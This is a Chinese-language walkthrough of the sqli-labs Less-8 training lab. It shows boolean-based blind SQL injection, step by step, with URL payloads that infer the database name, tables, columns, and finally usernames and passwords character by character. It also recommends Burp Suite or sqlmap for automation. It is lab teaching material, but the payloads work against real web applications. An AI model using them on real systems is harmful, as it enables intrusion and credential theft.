less-8
这一节做的是真的累
对萌新来说上手挺麻烦的,倒不是难,确实是麻烦
首先当然是考虑闭合的问题
居然没有报错
说明我们这题已经无法使用报错注入
因为无法查看报错信息
所以这题要使用布尔型盲注
?id=1’ --+
发现正常回显
?id=1” --+
依旧正常回显
?id=1) --+
仍正常回显
?id=1‘ and 1=1 --+
正常回显
?id=1’ and 1=2 --+
无回显
?id=1" and 1=2 --+
正常回显
?id=1) and 1=2 --+
正常回显
所以应该是
?id=1’ --+
接下来通过length()判断数据库的长度
?id=1’ and (length(database())=8) --+(建议一开始可以先用<或者>来判断数据库的大致长度)
接下来通过ascii一个一个猜
?id=1’ and (ascii(substr(database(),1,1))=115) --+
过于繁琐,建议bp抓包爆或者直接使用sqlmap
这里做一次bp
使用bp的话可以不用ascii直接对着字母爆
选择集束炸弹,选择substr开始截取的位置参数和做比较的字母
这里从1开始有几位就选几位,因为sqlilab的数据库之前早看过,所以这里直接选了8位
这里直接选择大小写字母,在add from list中可以直接选择,要是担心不够还可以选别的
接下来把爆出来的字母按照顺利排列就是数据库的名字了
?id=1’ and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),1,1))=101) --+
接下来是一个一个爆表名
同理,麻烦可使用bp或者sqlmap(推荐)
爆字段
?id=1’ and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1),1,1))>97) --+
爆内容
?id=1’ and (ascii(substr((select group_concat(username,’ ',password) from users limit 0,1),1,1))=68) --+